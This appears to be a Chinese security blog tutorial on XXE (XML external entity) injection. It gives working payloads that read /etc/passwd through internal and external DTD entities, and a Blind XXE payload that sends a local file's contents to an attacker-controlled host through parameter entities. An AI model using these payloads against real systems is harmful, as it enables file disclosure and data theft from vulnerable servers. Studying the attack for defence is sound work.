XML传输数据导致的安全问题
利用XXE漏洞可以进行 拒绝服务攻击、文件读取、命令代码执行、SQL(XSS)注入、内外扫描端口和入侵内网站点等,内网探测和入侵是利用XXE中支持的协议进行内网主机和端口的发现
一般XXE的利用分为两个场景:有回显 和 无回显。
有回显的情况下可以直接在页面看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据
有回显的情况下:
①内部实体:
1、直接通过DTD外部实体声明
<?xml version="1.0"?> <!DOCTYPE Quan[ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <hhh>&f;<hhh>
①外部实体引入:
1、通过DTD文档引入外部DTD文档中的外部实体声明
<?xml version="1.0"?> <!DOCTYPE Quan SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd"> <hhh>&f;<hhh>
外部evil.dtd中的内容:
<!ENTITY f SYSTEM "file:///etc/passwd">
2、通过DTD外部实体声明引入外部DTD文档中的外部实体声明
<?xml version="1.0"?> <!DOCTYPE Quan[ <!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd"> ]> <hhh>&f;<hhh>
Quan.dtd的内容
<!ENTITY f SYSTEM "file:///etc/passwd">
无回显:Blind XXE
参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
<?xml version="1.0"?> <!DOCTYPE Note[ <!ENTITY % file SYSTEM "file:///C:/1.txt"> <!ENTITY % remote SYSTEM "http://攻击者主机IP/Quan.xml"> %remote; %all; ]> <root>&send;</root>
Quan.xml内容
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">
%remote引入外部XML文件到这个 XML 中,%all检测到send实体,在 root 节点中引入 send 实体,便可实现数据转发。
利用过程:第3行,存在漏洞的服务器会读出file的内容(c:/1.txt),通过Quan.xml带外通道发送给攻击者服务器上的1.php,1.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 解答了困扰我五年的技术问题
· 为什么说在企业级应用开发中,后端往往是效率杀手?
· 用 C# 插值字符串处理器写一个 sscanf
· Java 中堆内存和栈内存上的数据分布和特点
· 开发中对象命名的一点思考
· DeepSeek 解答了困扰我五年的技术问题。时代确实变了!
· PPT革命!DeepSeek+Kimi=N小时工作5分钟完成?
· What?废柴, 还在本地部署DeepSeek吗?Are you kidding?
· DeepSeek企业级部署实战指南:从服务器选型到Dify私有化落地
· 程序员转型AI:行业分析